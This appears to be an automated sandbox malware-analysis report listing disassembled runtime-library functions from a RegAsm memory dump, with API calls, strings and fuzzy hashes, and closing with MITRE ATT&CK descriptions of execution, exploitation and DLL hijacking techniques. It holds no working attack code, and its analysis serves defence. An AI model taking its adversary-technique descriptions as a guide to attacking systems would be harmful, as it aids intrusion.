Uniqueness Score: -1.00%

Function 00451695 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00407D71,?,57C18905,?,004517A2,?,0040103B,00407D71,00000000), ref: 00451756

Strings

api-ms-, xrefs: 004516EC
ext-ms-, xrefs: 00451700

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: e9ec4486dfe6b641a0acd61e98ca132064a6b954e291df8d8f92c24f6c955edb
Instruction ID: 0523bce91d842dbc5e3eb6b6fa0f6dfec1f0a1466e479ab085b3e4057282b445
Opcode Fuzzy Hash: e9ec4486dfe6b641a0acd61e98ca132064a6b954e291df8d8f92c24f6c955edb
Instruction Fuzzy Hash: FE212BB1E01210E7DB219728DC81F5B3758DB49775F240122ED16A73E2E778ED09C6D9

Uniqueness

Uniqueness Score: -1.00%

Function 00448598 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,57C18905,00000000,?,00000000,0046258B,000000FF,?,00448662,?,?,0044871D,?), ref: 004485CD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004485DF
FreeLibrary.KERNEL32(00000000,?,00000000,0046258B,000000FF,?,00448662,?,?,0044871D,?), ref: 00448601

Strings

mscoree.dll, xrefs: 004485C6
uC, xrefs: 004485F0
CorExitProcess, xrefs: 004485D7

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll$uC
API String ID: 4061214504-2081361828
Opcode ID: 8d67b138515a18014216ec7bc1bbc2fd52bf164cd13d5711a8e277eb5853b77d
Instruction ID: c112873b41e5f5ec4646b21c0a0d35608f4b09fd0d60c4f162e1b5e9e3885544
Opcode Fuzzy Hash: 8d67b138515a18014216ec7bc1bbc2fd52bf164cd13d5711a8e277eb5853b77d
Instruction Fuzzy Hash: 67016771E54615BBDB119F54DC05BAEBBB8FB04711F00053AF811A26D0EBB99904CA99

Uniqueness

Uniqueness Score: -1.00%

Function 0045711E Relevance: 9.3, APIs: 6, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a06e3559091d92e6dc7ade3254ffdc2c7234af30cb13c05837ab8f37671d2dff
Instruction ID: e00fe882aa76f24cade1a4ebe65b9025e303db7115826925bada92ab41ad270d
Opcode Fuzzy Hash: a06e3559091d92e6dc7ade3254ffdc2c7234af30cb13c05837ab8f37671d2dff
Instruction Fuzzy Hash: 66B11970A082459FDF11CF99E880B6E7BB1BF46315F14416AEC049B353C7789E4ACB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041F1EE Relevance: 9.1, APIs: 6, Instructions: 148COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0041F261
_strlen.LIBCMT ref: 0041F275
_strlen.LIBCMT ref: 0041F2DE
_strlen.LIBCMT ref: 0041F2F2
_strlen.LIBCMT ref: 0041F34F
_strlen.LIBCMT ref: 0041F363

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 88e3123deae05901766ef15ed3eb2476f200bbcaf318e9aed2733b4d3303859c
Instruction ID: a3fa85deb776d174940e9522bce43f8749fd13cd89d9eaf17ed8b465a6b13a81
Opcode Fuzzy Hash: 88e3123deae05901766ef15ed3eb2476f200bbcaf318e9aed2733b4d3303859c
Instruction Fuzzy Hash: 0941C9BA9001117FE7119F14EC82E6B3764EF5A318F0540A9FD48A7303E735A91587EB

Uniqueness

Uniqueness Score: -1.00%

Function 00450F54 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00450F4B,0043EF66,0043EAB7), ref: 00450F62
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00450F70
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00450F89
SetLastError.KERNEL32(00000000,00450F4B,0043EF66,0043EAB7), ref: 00450FDB

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5f7e7e767363da93a9661f2d923ba1ac03775c4646d4c45f04712cebf2032a4e
Instruction ID: 88b79da8d0ada330983d1ffca9328a7393bee42d094f36178f0440da4ee2e7e2
Opcode Fuzzy Hash: 5f7e7e767363da93a9661f2d923ba1ac03775c4646d4c45f04712cebf2032a4e
Instruction Fuzzy Hash: 97019E3761A2126EA6252F657D8652B2A48EB1677B720023FFC10541E3FFD9480DA18D

Uniqueness

Uniqueness Score: -1.00%

Function 0045E706 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0045E7CD
___AdjustPointer.LIBCMT ref: 0045E7F0
___AdjustPointer.LIBCMT ref: 0045E88C

Strings

uC, xrefs: 0045E765

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: uC
API String ID: 1740715915-162574398
Opcode ID: e11fdfa2da8ddc6fb0d173095ab86c735b090b61c9adf9c542e10d774002f470
Instruction ID: 37f53a8ed0d4057df5830adcda63a78e3eb800127ffe1eb2d1f470213f96f25e
Opcode Fuzzy Hash: e11fdfa2da8ddc6fb0d173095ab86c735b090b61c9adf9c542e10d774002f470
Instruction Fuzzy Hash: 4851D472501302AFEB2DAF53C841B7A77A4EF08716F14452FEC1147292E739AE49C799

Uniqueness

Uniqueness Score: -1.00%

Function 0044B597 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0044B5D9

Strings

.com, xrefs: 0044B619
.bat, xrefs: 0044B608
.cmd, xrefs: 0044B5F7
.exe, xrefs: 0044B5E6

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 885f5da804d4d5cce9bcf66fb648dd8b380d8d06ddad2d56da10b9640fc1f23b
Instruction ID: f3b60009b5685a148431e6f86b8bbc4172e9ad068afdf9e34a828c3c1066877d
Opcode Fuzzy Hash: 885f5da804d4d5cce9bcf66fb648dd8b380d8d06ddad2d56da10b9640fc1f23b
Instruction Fuzzy Hash: 3701E5A7604635313618201E5C02A3B9798DB95BB8B27802FF841E72C2FF5DDD4251DE

Uniqueness

Uniqueness Score: -1.00%

Function 0044AEBF Relevance: 7.6, APIs: 5, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f54f9081ace57b480f6bc85ed4343d8be96a7925da3cb3942432b0cd9b77cc1
Instruction ID: a91585b51351be147a41a28daba908378a935e9d8126f06853a6853397c791a4
Opcode Fuzzy Hash: 5f54f9081ace57b480f6bc85ed4343d8be96a7925da3cb3942432b0cd9b77cc1
Instruction Fuzzy Hash: 48513E75D01209AAEB00EFE5D840ADFB7B8EF08714F14411BE815E7251EB34EA45CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0044B97E Relevance: 7.6, APIs: 5, Instructions: 143pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000006,00000000,?), ref: 0044B9A0
GetFileInformationByHandle.KERNEL32(?,?), ref: 0044B9FA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0044B8A3,00000006), ref: 0044BA88
__dosmaperr.LIBCMT ref: 0044BA8F
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 0044BACC

Part of subcall function 0044B645: __dosmaperr.LIBCMT ref: 0044B67A

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 537b6c459f0231a2d5d0f318e0bc1aaf18acdd4804f3e120b5e30f55cc7a442d
Instruction ID: b2a4d8dcc5766e886369e3870e4448a7fe7f026c1d9bf7624856e4988d9716fd
Opcode Fuzzy Hash: 537b6c459f0231a2d5d0f318e0bc1aaf18acdd4804f3e120b5e30f55cc7a442d
Instruction Fuzzy Hash: 72414E75900604AFEB24DFB6DC459ABBBF9EF88304B10492EF456E3610EB34D845CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041BCDD Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 158COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0041BD06
_strlen.LIBCMT ref: 0041BDB5

Strings

, xrefs: 0041BE05
\, xrefs: 0041BD5E

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: $\
API String ID: 4218353326-1413047179
Opcode ID: 0d5be502e3e2d937a3d51b9509afae246f52c6854b298b405245c7d501694b48
Instruction ID: c3a18b9ac9a5f72da57081e75e862650c4163fe137eacb9b5cf45a3a05dc818e
Opcode Fuzzy Hash: 0d5be502e3e2d937a3d51b9509afae246f52c6854b298b405245c7d501694b48
Instruction Fuzzy Hash: 9341FC71A043006BE7206A659C41BEF7798DF84354F04453FFA9983292E739DD8587DB

Uniqueness

Uniqueness Score: -1.00%

Function 0043F110 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0043F14F
__IsNonwritableInCurrentImage.LIBCMT ref: 0043F203

Strings

csm, xrefs: 0043F1ED
uC, xrefs: 0043F21C

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm$uC
API String ID: 3480331319-2677303287
Opcode ID: b35b9aae8db331a27ca3160b77340e98725b3603cc6122c4e4e54fd182356900
Instruction ID: 5ff47f66bf8fec1507aa9188646af90ae576d399401620c5dc8a30c9c83cc870
Opcode Fuzzy Hash: b35b9aae8db331a27ca3160b77340e98725b3603cc6122c4e4e54fd182356900
Instruction Fuzzy Hash: 6141B634E00208EBCF10DF69D840A9EBBB5BF49314F1481ABEC145B3A2D7799E09CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0045EE04 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0045ED0A,?,?,00000000,00000000,00000000,?), ref: 0045EE29
CatchIt.LIBVCRUNTIME ref: 0045EF0F

Strings

RCC, xrefs: 0045EE43
MOC, xrefs: 0045EE3B

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: e0935fe45de021845a0cfffd8d00856ddc7a5c30a69e2b60d6d790f1645431a7
Instruction ID: a1b70d3438e286458a62a2d8a4a9a1f1b9492281a04f310ff6274f0c117cb870
Opcode Fuzzy Hash: e0935fe45de021845a0cfffd8d00856ddc7a5c30a69e2b60d6d790f1645431a7
Instruction Fuzzy Hash: B9418A32900209EFCF19DF95CD81AAEBBB5FF48305F14809AFD0467262D7399A54CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0045E66F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0045E8E6

Strings

csm, xrefs: 0045E908
uC, xrefs: 0045E9AE
csm, xrefs: 0045E979

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm$uC
API String ID: 3493665558-1698735748
Opcode ID: 858b53cedb40eeb6dfe66868dda80e8b33fb489c5c4a9cf3e20f1607c3ee639b
Instruction ID: 326af9b4947efd1ef17aafe77bc34d2e03300457ba53eb534140d3c8b73d0699
Opcode Fuzzy Hash: 858b53cedb40eeb6dfe66868dda80e8b33fb489c5c4a9cf3e20f1607c3ee639b
Instruction Fuzzy Hash: 183108B6400215EBCF6A4F43C94096B7B66FF05316B18416BFD4409213D37ADE69DBCA

Uniqueness

Uniqueness Score: -1.00%

Function 0045BD71 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00450F02,00000000,00000800,?,0045BE0D,00000000,00000000,00000000,?,?,?,0045BC55,00000000,FlsAlloc,00468FA0,00468FA8), ref: 0045BD7E
GetLastError.KERNEL32(?,0045BE0D,00000000,00000000,00000000,?,?,?,0045BC55,00000000,FlsAlloc,00468FA0,00468FA8,00000000,?,00450F02), ref: 0045BD88
LoadLibraryExW.KERNEL32(00450F02,00000000,00000000,?,00450F02,00450FE6,00000003,00451A06), ref: 0045BDB0

Strings

api-ms-, xrefs: 0045BD95

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: fd39af0d5a4259bc70771728417216c13b1fc30c122621be542556ec514d497c
Instruction ID: 8b69170700efb3c23616c2f0b6c72b97cf1ceda8ab7a3830421cf19611126c62
Opcode Fuzzy Hash: fd39af0d5a4259bc70771728417216c13b1fc30c122621be542556ec514d497c
Instruction Fuzzy Hash: 24E01270B80204B6EB501B61DC06B693B65AB10B56F140031FD0DA41E1E7AB995C9A8D

Uniqueness

Uniqueness Score: -1.00%

Function 00454ECA Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(57C18905,00459CA3,00000000,?), ref: 00454F2D

Part of subcall function 00457983: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0045C6DE,?,00000000,-00000008), ref: 00457A2F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00455188
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004551D0
GetLastError.KERNEL32 ref: 00455273

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: e82b5a327e512ed909e900aa97458940dbec9042fbeb66105a98d7751f3b8af8
Instruction ID: 2a2c9c9e2a3e43d72e85924a80d1cacc0d4917b3cd212d80ead8fae90dc08c45
Opcode Fuzzy Hash: e82b5a327e512ed909e900aa97458940dbec9042fbeb66105a98d7751f3b8af8
Instruction Fuzzy Hash: C7D178B5E006489FCF05CFE8D890AADBBB4FF49304F18416AE855EB352E634A946CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00457F50 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0504f276084caae6bec87dca7646dc5ed37b7cc546c8610682ef9826aa6f21a
Instruction ID: a997861867eb3e37c4d4ec2a62efd4cd9a1002cdf2f4c884355181378c2468c6
Opcode Fuzzy Hash: c0504f276084caae6bec87dca7646dc5ed37b7cc546c8610682ef9826aa6f21a
Instruction Fuzzy Hash: A441FC72A00704AFD7249F39CC01B6BBBE9EB88715F10852FF411EB682DA7999458784

Uniqueness

Uniqueness Score: -1.00%

Function 004556C1 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,0044CF14,00000001,?,0044CF14,004011D8,?,00000000), ref: 004556D7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,004011D8,00000000), ref: 004556E4
SetFilePointerEx.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,004011D8,00000000), ref: 0045570A
SetFilePointerEx.KERNEL32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00455730

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FilePointer$ErrorLast
String ID:
API String ID: 142388799-0
Opcode ID: c89c4d8a9f10775c062e65d271bbdedf8aa6dbb4baace424ca65829dd7353818
Instruction ID: 8f02704613c881f7ed44a99493cabae2e30425aea0d79714b4c0edb90373d3e1
Opcode Fuzzy Hash: c89c4d8a9f10775c062e65d271bbdedf8aa6dbb4baace424ca65829dd7353818
Instruction Fuzzy Hash: AB119772901118FFCF209F55CC088AF3F79EF08365F00414AF8289A2A1EB758A54DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0045A526 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(00000006,?,?,00000000,0045A41F,00000000,?,0046045C,0045A41F,?,00000006,00000000,00000104,?,00000001,00000000), ref: 0045A53C
GetLastError.KERNEL32(?,0046045C,0045A41F,?,00000006,00000000,00000104,?,00000001,00000000,00000000,?,0045A41F,?,00000104,?), ref: 0045A546
__dosmaperr.LIBCMT ref: 0045A54D
GetFullPathNameW.KERNEL32(00000006,?,?,00000000,?,?,0046045C,0045A41F,?,00000006,00000000,00000104,?,00000001,00000000,00000000), ref: 0045A577

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FullNamePath$ErrorLast__dosmaperr
String ID:
API String ID: 1391015842-0
Opcode ID: 05ff986f7f00613bcb2274bc04e7952f7913e6e1cde3abafb6be8021263328f3
Instruction ID: 8f23431076fed018fab1dcfc43c65ba91ea32adb6374605e65fd7435fda7905e
Opcode Fuzzy Hash: 05ff986f7f00613bcb2274bc04e7952f7913e6e1cde3abafb6be8021263328f3
Instruction Fuzzy Hash: FCF0F472600205BFDB205FA2DC04E17BBA9FF04361710892AF915C2521EB75E8289B1A

Uniqueness

Uniqueness Score: -1.00%

Function 0045A58C Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(00000006,?,?,00000000,0045A41F,00000000,?,004603E4,0045A41F,0045A41F,?,00000006,00000000,00000104,?,00000001), ref: 0045A5A2
GetLastError.KERNEL32(?,004603E4,0045A41F,0045A41F,?,00000006,00000000,00000104,?,00000001,00000000,00000000,?,0045A41F,?,00000104), ref: 0045A5AC
__dosmaperr.LIBCMT ref: 0045A5B3
GetFullPathNameW.KERNEL32(00000006,?,?,00000000,?,?,004603E4,0045A41F,0045A41F,?,00000006,00000000,00000104,?,00000001,00000000), ref: 0045A5DD

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FullNamePath$ErrorLast__dosmaperr
String ID:
API String ID: 1391015842-0
Opcode ID: 8eb375d63ec98620152693bf0500119df2bc878750a24184c61ae81cba765983
Instruction ID: 9fb711a7d2f2d6464d00d1d399f9f1202196810c424377f87987202de6bac74c
Opcode Fuzzy Hash: 8eb375d63ec98620152693bf0500119df2bc878750a24184c61ae81cba765983
Instruction Fuzzy Hash: BDF0A472700204BFDB206FA3DC04D57BBA9EF44361714852EF956C2121EB75EC24DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004611F8 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00459CA3,00000000,00000000,00000000,?,0045EFAA,00000000,00000001,00000000,?,?,004552C7,?,00459CA3,00000000), ref: 0046120F
GetLastError.KERNEL32(?,0045EFAA,00000000,00000001,00000000,?,?,004552C7,?,00459CA3,00000000,?,?,?,00454C12,0044897D), ref: 0046121B

Part of subcall function 0046126C: CloseHandle.KERNEL32(FFFFFFFE,0046122B,?,0045EFAA,00000000,00000001,00000000,?,?,004552C7,?,00459CA3,00000000,?,?), ref: 0046127C

___initconout.LIBCMT ref: 0046122B

Part of subcall function 0046124D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004611E9,0045EF97,?,?,004552C7,?,00459CA3,00000000,?), ref: 00461260

WriteConsoleW.KERNEL32(00000000,00459CA3,00000000,00000000,?,0045EFAA,00000000,00000001,00000000,?,?,004552C7,?,00459CA3,00000000,?), ref: 00461240

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c50a5f839614c46be5582a073cd018407abba97ea9c1a79c8211c1ad318fe419
Instruction ID: ee24b97f7bc65a100fd4a35f52b536f50fd9c8021c03b451ecb78b329b447cfa
Opcode Fuzzy Hash: c50a5f839614c46be5582a073cd018407abba97ea9c1a79c8211c1ad318fe419
Instruction Fuzzy Hash: A9F03736901214BBCF121FD5DC0599A3F65FF49360F044061FE18E5130E732C8209BDA

Uniqueness

Uniqueness Score: -1.00%

Function 004314F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00431566

Strings

p9lY, xrefs: 00431551
p9lY, xrefs: 00431558

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: DeleteObject
String ID: p9lY$p9lY
API String ID: 1531683806-1149557311
Opcode ID: de1d61dd1560775419792220a3a1f33499a7f7a80c32991eb49227003bada6fd
Instruction ID: cf39e9a7ed97d636a1f5e38e9f91983c3ae18497fdc5a72e96b4981a9c6bbeaa
Opcode Fuzzy Hash: de1d61dd1560775419792220a3a1f33499a7f7a80c32991eb49227003bada6fd
Instruction Fuzzy Hash: FBF0C2B190C714AB8F201F29AC8446A7EA0DAD9714F10196BF44AC3331D6388C469B6B

Uniqueness

Uniqueness Score: -1.00%

Function 0045157C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,00459B24,-00000020,00000FA0,00000000,00000000,004034B3,?), ref: 004515BC

Strings

uC, xrefs: 004515AC
InitializeCriticalSectionEx, xrefs: 00451582, 0045158C

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$uC
API String ID: 2593887523-4239742784
Opcode ID: 1a0cfa4c19f4066a649ce2d37b8a513799a4b605e007b061648eba656b25be93
Instruction ID: 9812c448bfd1abe72b26bc1a8e2d9ae63d225ef19fe19f731240b3a88c04f9fd
Opcode Fuzzy Hash: 1a0cfa4c19f4066a649ce2d37b8a513799a4b605e007b061648eba656b25be93
Instruction Fuzzy Hash: B9E06D32A80258BBCB122F91CC05E8A3F12DB44BA6F004022FD0A15161A7B68D69D68A

Uniqueness

Uniqueness Score: -1.00%

Function 0045147D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 004514B1

Strings

uC, xrefs: 004514A7
FlsAlloc, xrefs: 00451483, 0045148D

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc$uC
API String ID: 2773662609-690831660
Opcode ID: 2520e34fe1b2cac30b156b3166368a14b175d91dced426a0e54b0769865cd62d
Instruction ID: c70f7c95202b3d912519789e4f743400e7b397297c672b846b90dd47f9423eb0
Opcode Fuzzy Hash: 2520e34fe1b2cac30b156b3166368a14b175d91dced426a0e54b0769865cd62d
Instruction Fuzzy Hash: 23E0C232F88228738B1437E19C06FAF7D05CB49F66B100123FE15112A2AAEC4805C6DF

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

